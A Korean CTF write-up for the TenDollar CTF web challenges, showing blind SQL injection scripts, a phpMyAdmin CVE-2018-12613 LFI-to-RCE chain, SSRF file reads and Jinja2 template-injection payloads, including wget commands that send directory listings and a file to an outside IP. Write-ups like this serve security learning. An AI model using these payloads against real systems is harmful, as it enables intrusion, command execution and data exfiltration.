3rd TenDollar CTF Write up

Summary

Tendollor CTF는 24 Nov, 09:00 ~ 25 Nov, 15:00 KST 동안 진행했던 대회다.

대회는 개인전이며, 지인에게 invitation code를 받아야 가입할 수 있는 구조다.
나는 영주형한테 invitation code를 받아서 문제 구경해 볼 기회를 얻었다.
BISC가 끝나고 밥 먹고 집에 가서 풀었던 터라 새벽 1시쯤 시작해 5시까지 풀다가 잤다.

스코어보드는 다이내믹 스코어 방식이었고
전체적으로 문제 난이도가 괜찮았다, 나는 특히 XSS라는 문제를 재밌게 풀어서 이렇게 라이트 업을 작성해본다.


I’m Blind Not Deaf (250pts)
<?php
include './config.php';
if(preg_match('tdf|/_|\.|\(\)/i', $_GET[pw])) exit("No Hack Please~! -0-"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("Manner Please~! :) :)"); 
$query = "select id from tdf where id='root' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if($row['id'] == 'root'){
#echo "<h2>Nice Meet You! {$row['id']}</h2>";
echo "<h2>Hello {$row[id]}</h2>";
}

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from tdf where id='root' and pw='{$_GET[pw]}'"; 
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if(($row['pw']) && ($row['pw'] == $_GET['pw'])){
echo $nice_tendollar;
}
highlight_file(__FILE__); 
?>

웹 문제중 가장 많이 풀린 문제다.
위 코드를 보면 딱히 필터링이 없기 때문에 blind sqliroot라는 계정의 비밀번호를 뽑아오면 된다.

import requests
import string

if __name__ == '__main__' :
    uri = "http://blind.tendollar.kr:8100/?pw=%27||(id)in('root')%26%26(pw)like('{}%')%23"
    password = '70801f6a'

    for x in range(20) :
        for y in string.digits + string.ascii_letters :
            r = requests.get(uri.format(password + y)).text
            if(r.find('<h2>Hello root</h2>') != -1) :
                password += y
                break
            else :
                print('no : ' + y)
        print(password)

root 계정의 비밀번호를 알아냈다. (70801f6a)
이렇게 root의 비밀번호를 알아내면 다음 스테이지로 이동할 수 있다.

Congraturation!!!!
Next Question: LFI(Local File Inclusion) in phpMyAdmin 4.8.0~4.8.1...
URL:phpmyadmin/index.php......... flag.txt
root's password:@1@2@3@4qwerasdf

다음 스테이지의 주소는 /phpmyadmin 이다. (사실 sqli를 하지 않고 게싱으로도 찾을 수 있었다.)
아까 알아낸 비번으로 root 계정으로 로그인해주자.

phpmyadmin 버전이 4.8.x 라는것을 알기 때문에
최근 CTF에 많이 등장한 CVE-2018-12613 (PMA 4.8.x RCE) 를 이용해 공격할 수 있다. (참고)

위 블로그를 보면 RCE할 때 PHP세션을 이용하는데 해당 문제에서는 PHP세션 디렉토리가 /tmp다.
따라서 LFI할 때 /var/lib/php/sessions 대신 /tmp에서 세션을 가져와야 한다.

http://blind.tendollar.kr:8100/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../../../../../tmp/sess_d234daed4a69adcb5434609fea57f66d&0=system(%27ls%27);
http://blind.tendollar.kr:8100/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../../../../../tmp/sess_26a9b78a5ec5874ded520965780e15bd&0=system(%22cat%20/FLLLLLL4444444GGGGGG%22);

Ninja (450pts)

Ninja문제는 jinja2 server side template injection문제다.
ssti에 몇가지 필터 키워드가 추가된 문제며, 키워드를 피해 잘 인젝션해주면 된다.
jinja2 ssti할때 참고하면 좋은 글이 몇 가지 있는데

https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
https://ctftime.org/writeup/10895
https://0day.work/jinja2-template-injection-filter-bypasses/

여길 참고하면 좀 더 쉽게 풀 수 있다.

http://web2.tendollar.kr:10000/?name={{get_flashed_messages.__globals__.os.system(request.args.param)}}¶m=wget%20118.37.183.185:8080/?$(ls)
http://web2.tendollar.kr:10000/?name={{get_flashed_messages.__globals__.os.system(request.args.param)}}¶m=wget --header="Content-type: multipart/form-data boundary=FILEUPLOAD" --post-file flag.py 118.37.183.185:8080

LinkedList – 1

LinkedList 1는 PHP 오디팅 통해 풀 수 있는 문제다.
source.zip을 다운받아서 압축을 풀어 index.php를 확인해보면 PHP로 Linked list를 구현해놨다.

그리고 php에서 error message를 숨길 때 사용하는 @가 떡칠되어 있는데
전부다 ”로 치환하여 @를 지우고 보는게 정신건강에 좋다.

우선 우리가 목표로하는 flag가 어떤 조건일 때 출력되는지 확인해보자.

if ($_SESSION['link']['admin_only_list']) {
    unset($_SESSION['link']);
    die("<script type='text/javascript'>alert('GJ!!! The first flag is ".addslashes($flag1)."');location.href='.';</script>");
    admin:
        if ($_POST['value'] && $_POST['key']) {
            $obj->insert($_GET['value'], $_POST['key']);
            $arr[$_POST['key']] = $_GET['value'];
            $_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
        }
}

이건 flag출력 조건인데, 조건은 $_SESSION[‘link’][‘admin_only_list’]안에
어떠한 값이든 있어야 한다는 조건이다.

아래는 우리가 아이디를 입력했을 때 $_SESSION[‘link’]에 아이디를 넣어주는 부분이다.

if ($_POST['name']) {
    $_SESSION['link'] = array('name' => htmlspecialchars($_POST['name']), 'time' => time());
    die("<script type='text/javascript'>location.href='.';</script>");
}

그리고 아래는 Linked list에서 리스트의 Node를 삭제하는 부분이다.

if ($_GET['p'] == 'delete' && isset($_GET['key'])) {
    if (!$arr[0]) $arr[0] = '';
    $obj->deleteNode($_GET['key']);
    unset($arr[$_GET['key']]);
    #$_SESSION['link'][$_SESSION['link']['name']."_tail"] = (int)$_GET['key'] & 0x7fffffff;
    #$_SESSION['link'][$_SESSION['link']['name']."_tail"]--;
    $_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
    die("<script type='text/javascript'>location.href='.';</script>");
}

우리가 주목할 부분은
$_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr); 이 부분이다.
$_SESSION[‘link’][가입한 아이디 . ‘_list’]로 값을 넣어준다.
즉, 아이디를 admin_only라는 이름으로 가입하고 ?p=delete&key=1로 접속하면
$_SESSION['link']['admin_only_list']로 어떠한 값이든 들어가 flag를 출력할 것이다.


LinkedList – 2

LinkedList - 1 문제와 같은 사이트, 같은 소스로 푸는 문제다.
아래는 LinkedList - 2의 flag 출력 조건이다.

if ($_SESSION['link'][$_SESSION['link']['name']."_tail"] > 0xff) {
    unset($_SESSION['link']);
    die("<script type='text/javascript'>alert('Realrudaganya?!?!? The second flag is ".addslashes($flag2)."');location.href='.';</script>");
}

이번엔 $_SESSION['link'][가입한 이름 . '_tail']의 값이 0xff보다 크면 flag를 준다.
아래는 LinkedList에 첫 번째 Node를 넣을 때 실행하는 코드다.

if ($_GET['p'] == 'insert_first' && isset($_GET['value'])) {
    $obj->insertFirst(htmlspecialchars($_GET['value']));
    $_SESSION['link'][$_SESSION['link']['name']."_tail"]++;
    $arr[0] = htmlspecialchars($_GET['value']);
    $_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
    die("<script type='text/javascript'>location.href='.';</script>");
}

우리가 주목할 부분은 $_SESSION['link'][$_SESSION['link']['name']."_tail"]++; 이 부분이다.
그냥 단순하게 생각해서 해당 세션의 값을 ++해주니까 어찌됐든 0xff보다 커지려면 255번 이상 ++해주면된다.
즉, http://web1.tendollar.kr:10101/?p=insert_first&value=1 로 접근 255번 이상해주면 풀린다.


XSS

먼저 사이트에 접속하면 search, signin, contact 이렇게 3가지 기능이 있다.
여기서 search하고 signin 기능은 장식이고 contact 기능만 정상적으로 작동한다.
contact에서 emailcontent를 작성해서 보내면 어드민이 내 글을 읽고, 해당 부분에서 XSS가 발생한다.
여기서 XSS가 발생한다는 사실은 아래와 같은 방법으로 알 수 있다.

우선 내 서버에서 nc -lnk -p 8080 명령어를 통해 8080으로 nc를 열어주고 contact에서
<img src="http://withphp.com:8080">를 보낸 후 기다리면 아래와 같이 어드민이 접속한다.

GET / HTTP/1.1
Host: withphp.com:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E
Accept-Encoding: gzip, deflate

여기서 주목할 점은 어드민의 Referer 부분이다.
Referer은 사이트 방문객이 어떤 경로로 자신의 사이트에 방문했는지 알아볼 때 사용하는 HTTP 헤더다.
http://localhost/archiver?url=http://localhost/admin?_id=admin&_pw=admin123^__^ 로 되어 있으니
어드민이 해당 주소에서 내 글을 봤다고 볼 수 있겠다.

http://web1.tendollar.kr:10102/archiver?url= 로 이동해보자.
대충 보니 url 파라미터에서 LFI나 SSRF가 터질 거 같다.
file:///etc/passwd를 입력해보면 정말로 passwd파일이 읽히는걸 확인할 수 있다.
여기서 file:///proc/self/cwd/main.py를 읽으면 source leak을 할 수 있다.

# -*- encoding:utf-8 -*-
from flask import Flask, render_template, render_template_string, request
import sqlite3
import urllib2
from selenium import webdriver

app = Flask(__name__)

createtable = """CREATE TABLE IF NOT EXISTS contact (
id integer PRIMARY KEY AUTOINCREMENT,
email text,
message text,
is_checked integer DEFAULT 0
);
"""

@app.route("/")
def index():
    return render_template('index.html')

@app.route("/contact")
def login():
    return render_template('contact.html')

@app.route("/submit", methods=['GET'])
def submit():
    email = request.args.get('email')
    message = request.args.get('message')

    conn = sqlite3.connect("/tmp/mydb.db")
    cur = conn.cursor()
    cur.execute(createtable)

    sql = "insert into contact(email, message) values (?, ?);"
    cur.execute(sql, (email, message))
    conn.commit()
    conn.close()

    bot()

    return "<script>alert(\"접수 완료\"); history.back(-1);</script>"

@app.route("/admin", methods=['GET'])
def admin():
    _id = request.args.get('_id')
    _pw = request.args.get('_pw')
    _email = request.args.get('email')

    if not (_id == "admin" and _pw == "admin123^__^"):
        return "do not hack!"

    conn = sqlite3.connect("/tmp/mydb.db")
    cur = conn.cursor()
    cur.execute(createtable)

    sql = "select * from contact where is_checked = 0 limit 1;"

    if _email is not None:
        sql = "select * from contact where email = '%s' limit 1;" % _email.replace("'", "''")

    cur.execute(sql)
    rows = cur.fetchall()

    if len(rows) == 0:
        conn.close()
        return "None"

    idx = rows[0][0]
    email = rows[0][1]
    message = rows[0][2]
    is_checked = rows[0][3]

    sql = "update contact set is_checked = 1 where id = %d" % idx
    cur.execute(sql)
    conn.commit()
    conn.close()

    result = """
    idx : %d<br>
    email : %s<br>
    message : %s<br>
    is_checked : %d<br>
    """ % (idx, email, message, is_checked)

    return render_template_string(result)

@app.route("/archiver", methods=['GET'])
def archiver():
    url = request.args.get('url')
    r = urllib2.Request(url)
    r.add_header('Referer', request.url)
    return urllib2.urlopen(r).read()

def bot():
    options = webdriver.ChromeOptions()
    options.add_argument('headless')
    options.add_argument('window-size=1920x1080')
    options.add_argument("disable-gpu")
    options.add_argument("--no-sandbox")
    driver = webdriver.Chrome('./chromedriver', chrome_options=options)
    driver.get('http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E')
    driver.implicitly_wait(1)
    driver.quit()

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

나는 main.pymydb.db에 플래그가 있을 줄 알았으나 확인해보니 없었다.
그럼 여기서 우리가 주목할 부분은 render_template_string(result) 이 부분이다.
render_template_string와 같은 렌더링 함수는 {{}}로 감싸진 부분을 jinja2로 넘겨준다.
즉, {{1}}와 같이 보내면 server side template injection이 가능하다는 얘기다.

이제 email이나 contents부분에 템플릿 인젝션 페이로드를 넣어서 보내주고
http://web1.tendollar.kr:10102/admin?_id=admin&_pw=admin123^__^ 로 접속해서 확인하면 된다.

셀레니움 봇이 돌고 있으므로 아래와 같은 스크립트를 돌려놓고 들어가는게 편하다.

import requests

if __name__ == '__main__' :
    exploit = "{{''.__class__.__mro__[2].__subclasses__()[234](['ls', '-al'], shell=True, stdout=-1, stderr=-1,stdin=-1).stdout.read()}}"

    for x in range(3) :
        requests.get('http://web1.tendollar.kr:10102/submit?email='+exploit+'&message=abcd')